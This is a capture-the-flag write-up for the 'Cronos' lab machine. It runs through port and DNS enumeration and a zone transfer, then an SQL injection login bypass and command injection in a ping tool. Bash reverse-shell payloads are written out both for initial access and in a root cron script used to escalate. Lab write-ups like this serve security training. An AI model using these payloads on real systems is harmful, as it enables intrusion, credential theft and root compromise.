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Nmap scan

└─$ sudo nmap -p- --min-rate 1000 -v
Starting Nmap 7.92 ( ) at 2022-01-07 11:28 EST
Nmap scan report for
Host is up (0.037s latency).
Not shown: 65532 filtered tcp ports (no-response)
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 102.81 seconds
           Raw packets sent: 131150 (5.771MB) | Rcvd: 83 (3.636KB)
└─$ sudo nmap -sC -sV -p22,53,80
Starting Nmap 7.92 ( ) at 2022-01-07 11:31 EST
Nmap scan report for
Host is up (0.037s latency).

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 15.13 seconds

We have only three ports open, SSH, DNS and a web server. Looks like it is an Ubuntu 16 machine and the only service version that looks a bit outdated is the DNS server one.

Port 80


Since the web server only shows the default Apache page we can go ahead and try Gobuster:

Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:           
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
2022/01/07 11:41:23 Starting gobuster in directory enumeration mode
/server-status        (Status: 403) [Size: 299]

2022/01/07 11:55:23 Finished
Cool, is empty or at least looks like so.

Enumerating the domains

Maybe there are virtual hosts in place so let's check the DNS server:

└─$ nslookup         
Default server:
>  name = localhost.
>    name = ns1.cronos.htb.
Adding cronos.htb to my hosts file and visiting the page again using this domain reveals a new page called cronos.

This is nice but before going any further let's try to perform a zone transfer to check if there are subdomains:

└─$ dig axfr @ cronos.htb

; <<>> DiG 9.17.19-3-Debian <<>> axfr @ cronos.htb
; (1 server found)
;; global options: +cmd
cronos.htb.     604800  IN  SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.     604800  IN  NS  ns1.cronos.htb.
cronos.htb.     604800  IN  A
admin.cronos.htb.   604800  IN  A
ns1.cronos.htb.     604800  IN  A
www.cronos.htb.     604800  IN  A
cronos.htb.     604800  IN  SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 40 msec
;; WHEN: Fri Jan 07 12:18:35 EST 2022
;; XFR size: 7 records (messages 1, bytes 203)
There they are, let's add admin.cronos.htb and www.cronos.htb to the hosts file too.

cronos.htb and www.cronos.htb

This two domains show the Cronos page. After looking around a bit nothing interesting here, time to move on.


In this case we are welcomed by a login form. Trying some typical credentials didn't work but since the page looks hand made maybe SQL injection is our way in.

Using the typical ' OR 1=1 # as the user and the password worked! We have access now to something called Net Tool v0.1.

RCE and reverse shell

This Net Tool v0.1 allow the user to execute the commands ping and traceroute from the browser. The thing is that the input is not sanitize so if we enter something like ; cat /etc/passwd the application prints the /etc/passwd. We have RCE!

Time to get a reverse shell, this simple payload will do: ; bash -c 'bash -i >& /dev/tcp/ 0>&1'.

In the box as www-data

After stabilizing the shell is time to search for a privilege scalation vector. First of all, there is a file called config.php with the database credentials: admin:kEjdbRigfBHUREiNSDs that can be used to retrieve the hashed admin password of the page: admin:4f5fffa7b2340178a716e3832451e058.

We can get the users that can login to the system to try the credentials we have:

www-data@cronos:/var/www/laravel/config$ cat /etc/passwd | grep sh$
noulis:x:1000:1000:Noulis Panoulis,,,:/home/noulis:/bin/bash
But sadly this didn't work. At least we can get the user flag under /home/noulis/user.txt.

Getting root

After looking a bit around I found something:

www-data@cronos:/$ cat /etc/crontab 
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.


# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * *   root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
cron is executing a script every minute as the root user. We can edit that script so adding:
system("bash -c 'bash -i >& /dev/tcp/ 0>&1'");
And spinning up a listener will give us a reverse shell as root. The flag is under /root/root.txt.

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